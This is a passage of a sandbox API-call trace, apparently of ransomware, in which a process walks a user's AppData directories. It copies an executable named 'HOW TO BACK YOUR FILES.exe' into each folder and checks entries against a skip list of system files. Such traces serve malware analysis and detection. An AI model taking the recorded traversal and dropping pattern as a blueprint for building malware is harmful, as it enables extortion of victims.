	[0044.204] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0044.204] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x326b8b50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x326b8b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0044.204] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0044.204] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x326b8b50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x326b8b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0044.204] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0044.204] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a50
	[0044.204] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries"
	[0044.204] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0044.204] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0044.204] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries") returned 77
	[0044.204] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries"
	[0044.204] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.204] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.210] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.210] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x326b8b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x326b8b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.210] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.210] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.210] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0044.210] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x326b8b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x326b8b50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.210] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.210] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.210] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.211] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.211] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Adobe Custom Dictionary", cAlternateFileName="ADOBEC~1")) returned 1
	[0044.211] lstrcmpiW (lpString1="Adobe Custom Dictionary", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.211] lstrcmpiW (lpString1="Adobe Custom Dictionary", lpString2="Apollon865.txt.exe") returned -1
	[0044.211] lstrcmpiW (lpString1="Adobe Custom Dictionary", lpString2=".") returned 1
	[0044.211] lstrcmpiW (lpString1="Adobe Custom Dictionary", lpString2="..") returned 1
	[0044.211] lstrcmpiW (lpString1="Adobe Custom Dictionary", lpString2="windows") returned -1
	[0044.211] lstrcmpiW (lpString1="Adobe Custom Dictionary", lpString2="bootmgr") returned -1
	[0044.211] lstrcmpiW (lpString1="Adobe Custom Dictionary", lpString2="temp") returned -1
	[0044.211] lstrcmpiW (lpString1="Adobe Custom Dictionary", lpString2="pagefile.sys") returned -1
	[0044.211] lstrcmpiW (lpString1="Adobe Custom Dictionary", lpString2="boot") returned -1
	[0044.211] lstrcmpiW (lpString1="Adobe Custom Dictionary", lpString2="ids.txt") returned -1
	[0044.211] lstrcmpiW (lpString1="Adobe Custom Dictionary", lpString2="ntuser.dat") returned -1
	[0044.211] lstrcmpiW (lpString1="Adobe Custom Dictionary", lpString2="perflogs") returned -1
	[0044.211] lstrcmpiW (lpString1="Adobe Custom Dictionary", lpString2="MSBuild") returned -1
	[0044.211] lstrlenW (lpString="Adobe Custom Dictionary") returned 23
	[0044.211] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\*") returned 79
	[0044.211] lstrcpyW (in: lpString1=0x2d3e5ec, lpString2="Adobe Custom Dictionary" | out: lpString1="Adobe Custom Dictionary") returned="Adobe Custom Dictionary"
	[0044.211] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0044.211] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xcc) returned 0x5a5368
	[0044.211] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0044.211] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x326b8b50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x326b8b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0044.211] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0044.211] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x326b8b50, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x326b8b50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0044.211] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0044.211] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7a50
	[0044.211] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary"
	[0044.211] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a5368 | out: hHeap=0x580000) returned 1
	[0044.211] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7a48 | out: hHeap=0x580000) returned 1
	[0044.211] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary") returned 101
	[0044.212] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary"
	[0044.212] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0044.212] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\adobe\\linguistics\\dictionaries\\adobe custom dictionary\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0044.218] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0044.218] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x326decb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x326decb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0044.218] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.218] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0044.218] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0044.218] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0x326decb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x326decb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0044.218] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.218] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0044.218] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0044.218] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0044.218] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe82613f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe82613f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe82613f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="all", cAlternateFileName="")) returned 1
	[0044.218] lstrcmpiW (lpString1="all", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.218] lstrcmpiW (lpString1="all", lpString2="Apollon865.txt.exe") returned -1
	[0044.218] lstrcmpiW (lpString1="all", lpString2=".") returned 1
	[0044.218] lstrcmpiW (lpString1="all", lpString2="..") returned 1
	[0044.218] lstrcmpiW (lpString1="all", lpString2="windows") returned -1
	[0044.218] lstrcmpiW (lpString1="all", lpString2="bootmgr") returned -1
	[0044.218] lstrcmpiW (lpString1="all", lpString2="temp") returned -1
	[0044.218] lstrcmpiW (lpString1="all", lpString2="pagefile.sys") returned -1
	[0044.218] lstrcmpiW (lpString1="all", lpString2="boot") returned -1
	[0044.218] lstrcmpiW (lpString1="all", lpString2="ids.txt") returned -1
	[0044.218] lstrcmpiW (lpString1="all", lpString2="ntuser.dat") returned -1
	[0044.218] lstrcmpiW (lpString1="all", lpString2="perflogs") returned -1
	[0044.218] lstrcmpiW (lpString1="all", lpString2="MSBuild") returned -1
	[0044.218] lstrlenW (lpString="all") returned 3
	[0044.219] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\*") returned 103
	[0044.219] lstrcpyW (in: lpString1=0x2d3e61c, lpString2="all" | out: lpString1="all") returned="all"
	[0044.219] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a48
	[0044.219] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd4) returned 0x599450
	[0044.219] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a50 | out: ListHead=0x5b76b0, ListEntry=0x5b7a50) returned 0x5b79b0
	[0044.219] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeab70f70, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeab70f70, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeab70f70, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brt", cAlternateFileName="")) returned 1
	[0044.219] lstrcmpiW (lpString1="brt", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.219] lstrcmpiW (lpString1="brt", lpString2="Apollon865.txt.exe") returned 1
	[0044.219] lstrcmpiW (lpString1="brt", lpString2=".") returned 1
	[0044.219] lstrcmpiW (lpString1="brt", lpString2="..") returned 1
	[0044.219] lstrcmpiW (lpString1="brt", lpString2="windows") returned -1
	[0044.219] lstrcmpiW (lpString1="brt", lpString2="bootmgr") returned 1
	[0044.219] lstrcmpiW (lpString1="brt", lpString2="temp") returned -1
	[0044.219] lstrcmpiW (lpString1="brt", lpString2="pagefile.sys") returned -1
	[0044.219] lstrcmpiW (lpString1="brt", lpString2="boot") returned 1
	[0044.219] lstrcmpiW (lpString1="brt", lpString2="ids.txt") returned -1
	[0044.219] lstrcmpiW (lpString1="brt", lpString2="ntuser.dat") returned -1
	[0044.219] lstrcmpiW (lpString1="brt", lpString2="perflogs") returned -1
	[0044.219] lstrcmpiW (lpString1="brt", lpString2="MSBuild") returned -1
	[0044.219] lstrlenW (lpString="brt") returned 3
	[0044.219] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\all") returned 105
	[0044.219] lstrcpyW (in: lpString1=0x2d3e61c, lpString2="brt" | out: lpString1="brt") returned="brt"
	[0044.219] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a68
	[0044.219] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd4) returned 0x599530
	[0044.219] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a70 | out: ListHead=0x5b76b0, ListEntry=0x5b7a70) returned 0x5b7a50
	[0044.219] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec6bf330, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec6bf330, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec6bf330, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="brz", cAlternateFileName="")) returned 1
	[0044.219] lstrcmpiW (lpString1="brz", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.219] lstrcmpiW (lpString1="brz", lpString2="Apollon865.txt.exe") returned 1
	[0044.219] lstrcmpiW (lpString1="brz", lpString2=".") returned 1
	[0044.219] lstrcmpiW (lpString1="brz", lpString2="..") returned 1
	[0044.219] lstrcmpiW (lpString1="brz", lpString2="windows") returned -1
	[0044.219] lstrcmpiW (lpString1="brz", lpString2="bootmgr") returned 1
	[0044.219] lstrcmpiW (lpString1="brz", lpString2="temp") returned -1
	[0044.219] lstrcmpiW (lpString1="brz", lpString2="pagefile.sys") returned -1
	[0044.220] lstrcmpiW (lpString1="brz", lpString2="boot") returned 1
	[0044.220] lstrcmpiW (lpString1="brz", lpString2="ids.txt") returned -1
	[0044.220] lstrcmpiW (lpString1="brz", lpString2="ntuser.dat") returned -1
	[0044.220] lstrcmpiW (lpString1="brz", lpString2="perflogs") returned -1
	[0044.220] lstrcmpiW (lpString1="brz", lpString2="MSBuild") returned -1
	[0044.220] lstrlenW (lpString="brz") returned 3
	[0044.220] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brt") returned 105
	[0044.220] lstrcpyW (in: lpString1=0x2d3e61c, lpString2="brz" | out: lpString1="brz") returned="brz"
	[0044.220] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7a88
	[0044.220] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd4) returned 0x599bd8
	[0044.220] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7a90 | out: ListHead=0x5b76b0, ListEntry=0x5b7a90) returned 0x5b7a70
	[0044.220] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeb4758f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xeb4758f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xeb4758f0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dan", cAlternateFileName="")) returned 1
	[0044.220] lstrcmpiW (lpString1="dan", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.220] lstrcmpiW (lpString1="dan", lpString2="Apollon865.txt.exe") returned 1
	[0044.220] lstrcmpiW (lpString1="dan", lpString2=".") returned 1
	[0044.220] lstrcmpiW (lpString1="dan", lpString2="..") returned 1
	[0044.220] lstrcmpiW (lpString1="dan", lpString2="windows") returned -1
	[0044.220] lstrcmpiW (lpString1="dan", lpString2="bootmgr") returned 1
	[0044.220] lstrcmpiW (lpString1="dan", lpString2="temp") returned -1
	[0044.220] lstrcmpiW (lpString1="dan", lpString2="pagefile.sys") returned -1
	[0044.220] lstrcmpiW (lpString1="dan", lpString2="boot") returned 1
	[0044.220] lstrcmpiW (lpString1="dan", lpString2="ids.txt") returned -1
	[0044.220] lstrcmpiW (lpString1="dan", lpString2="ntuser.dat") returned -1
	[0044.220] lstrcmpiW (lpString1="dan", lpString2="perflogs") returned -1
	[0044.220] lstrcmpiW (lpString1="dan", lpString2="MSBuild") returned -1
	[0044.220] lstrlenW (lpString="dan") returned 3
	[0044.220] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\brz") returned 105
	[0044.220] lstrcpyW (in: lpString1=0x2d3e61c, lpString2="dan" | out: lpString1="dan") returned="dan"
	[0044.220] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0044.220] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd4) returned 0x599cb8
	[0044.220] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0044.220] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xebdabf50, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xebdabf50, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xebdabf50, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dut", cAlternateFileName="")) returned 1
	[0044.220] lstrcmpiW (lpString1="dut", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.220] lstrcmpiW (lpString1="dut", lpString2="Apollon865.txt.exe") returned 1
	[0044.221] lstrcmpiW (lpString1="dut", lpString2=".") returned 1
	[0044.221] lstrcmpiW (lpString1="dut", lpString2="..") returned 1
	[0044.221] lstrcmpiW (lpString1="dut", lpString2="windows") returned -1
	[0044.221] lstrcmpiW (lpString1="dut", lpString2="bootmgr") returned 1
	[0044.221] lstrcmpiW (lpString1="dut", lpString2="temp") returned -1
	[0044.221] lstrcmpiW (lpString1="dut", lpString2="pagefile.sys") returned -1
	[0044.221] lstrcmpiW (lpString1="dut", lpString2="boot") returned 1
	[0044.221] lstrcmpiW (lpString1="dut", lpString2="ids.txt") returned -1
	[0044.221] lstrcmpiW (lpString1="dut", lpString2="ntuser.dat") returned -1
	[0044.221] lstrcmpiW (lpString1="dut", lpString2="perflogs") returned -1
	[0044.221] lstrcmpiW (lpString1="dut", lpString2="MSBuild") returned -1
	[0044.221] lstrlenW (lpString="dut") returned 3
	[0044.221] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dan") returned 105
	[0044.221] lstrcpyW (in: lpString1=0x2d3e61c, lpString2="dut" | out: lpString1="dut") returned="dut"
	[0044.221] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c28
	[0044.221] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd4) returned 0x599f60
	[0044.221] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c30 | out: ListHead=0x5b76b0, ListEntry=0x5b7c30) returned 0x5b7ab0
	[0044.221] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe9487bb0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe9487bb0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xe9487bb0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="eng", cAlternateFileName="")) returned 1
	[0044.221] lstrcmpiW (lpString1="eng", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0044.221] lstrcmpiW (lpString1="eng", lpString2="Apollon865.txt.exe") returned 1
	[0044.221] lstrcmpiW (lpString1="eng", lpString2=".") returned 1
	[0044.221] lstrcmpiW (lpString1="eng", lpString2="..") returned 1
	[0044.221] lstrcmpiW (lpString1="eng", lpString2="windows") returned -1
	[0044.221] lstrcmpiW (lpString1="eng", lpString2="bootmgr") returned 1
	[0044.221] lstrcmpiW (lpString1="eng", lpString2="temp") returned -1
	[0044.221] lstrcmpiW (lpString1="eng", lpString2="pagefile.sys") returned -1
	[0044.221] lstrcmpiW (lpString1="eng", lpString2="boot") returned 1
	[0044.221] lstrcmpiW (lpString1="eng", lpString2="ids.txt") returned -1
	[0044.221] lstrcmpiW (lpString1="eng", lpString2="ntuser.dat") returned -1
	[0044.221] lstrcmpiW (lpString1="eng", lpString2="perflogs") returned -1
	[0044.221] lstrcmpiW (lpString1="eng", lpString2="MSBuild") returned -1
	[0044.221] lstrlenW (lpString="eng") returned 3
	[0044.221] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\Linguistics\\Dictionaries\\Adobe Custom Dictionary\\dut") returned 105
	[0044.221] lstrcpyW (in: lpString1=0x2d3e61c, lpString2="eng" | out: lpString1="eng") returned="eng"
	[0044.222] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ac8
	[0044.222] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xd4) returned 0x59a040
	[0044.222] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ad0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ad0) returned 0x5b7c30
